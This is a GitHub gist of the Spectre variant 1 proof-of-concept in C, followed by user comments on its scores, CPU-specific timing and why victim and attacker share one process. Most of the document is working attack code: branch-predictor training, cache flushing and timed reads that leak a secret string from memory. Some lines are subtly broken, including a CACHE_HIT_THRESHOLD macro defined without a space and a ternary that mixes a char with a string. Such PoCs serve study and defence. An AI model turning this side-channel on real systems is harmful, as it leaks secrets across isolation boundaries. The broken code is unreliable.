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@ErikAugust
Last active August 2, 2024 01:59
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Spectre example code
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {
1,
2,
3,
4,
5,
6,
7,
8,
9,
10,
11,
12,
13,
14,
15,
16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];
char * secret = "The Magic Words are Squeamish Ossifrage.";
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
void victim_function(size_t x) {
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}
/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD(80) /* assume cache hit if time <= threshold */
/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t * addr;
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush( & array1_size);
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = & array2[mix_i * 512];
time1 = __rdtscp( & junk); /* READ TIMER */
junk = * addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t) j;
score[0] = results[j];
value[1] = (uint8_t) k;
score[1] = results[k];
}
int main(int argc,
const char * * argv) {
size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
int i, score[2], len = 40;
uint8_t value[2];
for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
if (argc == 3) {
sscanf(argv[1], "%p", (void * * )( & malicious_x));
malicious_x -= (size_t) array1; /* Convert input value into a pointer */
sscanf(argv[2], "%d", & len);
}
printf("Reading %d bytes:\n", len);
while (--len >= 0) {
printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
printf("0x%02X=’%c’ score=%d ", value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
if (score[1] > 0)
printf("(second best: 0x%02X score=%d)", value[1], score[1]);
printf("\n");
}
return (0);
}
@dschlais93
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dschlais93 commented Sep 14, 2020

Kali GNU/Linux Rolling (VM)
Intel(R) Core(TM) i7-4910MQ CPU @ 2.90GHz
gcc -std=c11 -o spectre spectre.c
+++++++++++++++++++++++++++++++
A steady score of 2.
Questions => What is the meaning of "score"?
=> Why the score difference between i7 and Xeon?

spectre2

Score represents how many cache hits of that value were detected. Cache hits shows likelihood that it was part of the secret charter attempting to be read. If out of all 256 ASCII values, that value is the only one to hit for 2 consecutive iterations, the code marks that as a successful read, which is why you're getting scores of 2 (high confidence). If other values also have cache hits, then it attempts to run the attack more until the value has at least (twice+5) more hits than any other value (ie, a score of 9 is required if some other value hit 2 times -- (2*2+5))

If you have the same binary, it's checking for the same timing differences to determine cache hits from misses. i7 and Xeon can have different scores due to microarchitectural differences of cache delays, prefetchers, branch predictors, etc. . The timing of cache hits and misses are processor dependent, and may need adjustments to the CACHE_HIT_THRESHOLD value. Also, if features such as SMT/HyperThreading are enabled on one, this can also impact the timing as the process runs.

@RomanSelischev
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RomanSelischev commented Jan 19, 2022

Ryzen 7 5800hs win 10 21H2

does not work, disabled the patch in windows 10 disabled all optimizations and checks in VS 2022, tried all possible CACHE_HIT_THRESHOLD (20, 40, 60, 80, 100, 120, 300, 800). What should I do to make the program work?

image
image

@pattty847
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Hey, they're using your code on computerphile! :D
https://www.youtube.com/watch?v=I5mRwzVvFGE

@dnffabs
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dnffabs commented Feb 29, 2024

Why are the victim code and the attacker code in the same process in spectrev1?
I don't know enough about the spectre attack, I hope someone can help me with this question
Why does the spectrev1 Poc show that the victim code and the attacker code are in the same process? Shouldn't the reality be that the attacker is attacking the victim across processes

@adrb
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adrb commented Feb 29, 2024

@dnffabs Because it is what it is - proof of concept, not the actual attack

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